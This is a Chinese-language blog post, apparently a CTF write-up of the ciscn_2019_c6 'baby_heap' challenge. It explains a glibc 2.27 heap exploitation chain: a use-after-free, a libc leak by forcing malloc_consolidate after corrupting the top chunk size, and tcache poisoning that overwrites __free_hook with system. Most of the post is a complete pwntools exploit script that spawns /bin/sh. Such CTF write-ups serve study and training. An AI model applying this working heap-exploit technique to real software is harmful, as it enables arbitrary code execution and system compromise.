美文网首页
ciscn_2019_c6(baby_heap)

ciscn_2019_c6(baby_heap)

作者: pu1p | 来源:发表于2019-08-02 19:16 被阅读0次

背景

这题是国赛第一天的题目, 做出来的队伍挺多的. 漏洞利用点还挺有意思的, 之前没见过, 所以记录一下.

不过这题最迷的是 check , 不知道咋写的, 明明运行没问题非说 服务异常 不过我觉得可能是平台的原因.... 做出来的两个题就没 patch 成功过.... 赛后看群里讨论有人直接把一个题目当错另外一个题目的 patch 上传都能利用成功, 这exp怕不是直接用了 libc 的漏洞???

程序分析

程序保护全开, 还给了个 libc, 试了一下是libc 2.27.

这儿提一下我测试 libc 版本的方法: 如果题目提供libc的话, 我会修改程序使用的ld 然后尝试用不同版本的 ld 来加载提供的 libc , 从而可以得知libc的版本.

对于那种不提供 libc 的题目可以先试一下 double free, 如果不报错的话一般就可以当错 tcache 来做了. 不过也不排除使用的是 libc 2.29, 或者用 mallopt(M_CHECK_ACTION, 0) 来保证程序仍然可以继续运行. 各位师傅如果有啥比较好的方法欢迎交流.

程序就提供两个功能, mallocfree, 不过程序会限制 mallocchunk 的大小最大为 0x80

漏洞分析

然后分析一下漏洞点

首先是程序会把 malloc 的返回值打印出来. 可以用这个来泄露地址.

然后就是程序在 free 之后不会讲指针清零, 存在 uaf 漏洞.

显然关键就在于怎么泄露libc地址了, 只要能泄露 libc 地址结合 tcacheuaf 漏洞就可以直接修改 __free_hooksystem 地址了.

但是程序限制了 mallocchunk 的大小最大为 0x80, 所以所有 chunkfree 之后就会首先被放到 tcache 中, tcache 放满了也会放到 fastbin 中, 并没有办法泄露地址.

看到这一步如果有知道 house_of_orange 的小伙伴应该会想到能否通过 修改 top_chunksize 来实现将 top_chunk 插入到 unsorted bin 中. 这样就可以在堆上找到 libc 的地址了.

我当时就是按照这个思路来做的. 不一样的是我发现 ptmalloc 并不会将 top_chunk 放到 unsorted bin 中(不知道是 libc 2.27 的原因还是因为我构造的问题), 不过却会调用 malloc_consolidate. 这个函数会把 fastbin 中的 chunk 都合并, 然后插到 unsorted bin 里面, 然后堆上就有 libc 的地址了 :P

有了这个思路写 exp 就很快了.

exp

#coding:utf-8
from pwn import *
import time
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "pwn_27"


elf = ELF("./"+filename)
io = process("./" + filename, env={'LD_PRELOAD': "./libc.so.6:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:/lib/x86_64-linux-gnu/libm.so.6:/lib/x86_64-linux-gnu/libgcc_s.so.1"}) 
libc = ELF("./libc.so.6")


def lg(name, val):
    log.info(name+" : "+hex(val))

def choice(p, idx):
    sla(p, "choice > ", str(idx))

def add(p, idx, size, content):
    choice(p, 1)
    sla(p, "index", str(idx))
    sla(p, "size", str(size))
    sa(p, "something", content)
    ru(p, 'gift :')
    addr = int(rl(p).strip('\n'), 16)
    print(hex(addr))
    return addr

def delete(p, idx):
    choice(p, 2)
    sla(p, "index", str(idx))

heap_addr = add(io, 0, 0x50, 'aaa\x80bbb')
add(io, 1, 0x48, 'aaa\x80bbb')


lg("heap_addr", heap_addr)

top_addr = heap_addr + 160

delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 2, 0x50, p64(top_addr)*2)
add(io, 3, 0x50, p64(top_addr)*2)
add(io, 4, 0x50, p64(0xf1)*2)



for i in range(8):
    delete(io, 1)
for i in range(8):
    delete(io, 0)


# trigger malloc consolidate and leak libc
add(io, 5, 0x78, 'aaa\x80bbb')
add(io, 6, 0x78, 'aaa\x80bbb')
add(io, 7, 0x48, p64(top_addr)*2)
libc_addr = add(io, 8, 0x48, p64(top_addr)*2) - 245760
lg("libc_addr", libc.address)

libc.address = libc_addr -3865760

# modify __free_hook to system
free_hook = libc.symbols['__free_hook']
lg("free_hook", free_hook)
delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 13, 0x50, p64(free_hook)*2)
add(io, 9, 0x50, p64(free_hook)*2)

add(io, 10, 0x50, p64(libc.symbols['system'])*2)

add(io, 14, 0x40, '/bin/sh\x00')
# gdb.attach(io)

# system("/bin/sh")
delete(io, 14)
io.interactive()

相关文章

  • ciscn_2019_c6(baby_heap)

    背景 这题是国赛第一天的题目, 做出来的队伍挺多的. 漏洞利用点还挺有意思的, 之前没见过, 所以记录一下. 不过...

网友评论

      本文标题:ciscn_2019_c6(baby_heap)

      本文链接:https://www.haomeiwen.com/subject/gdhrdctx.html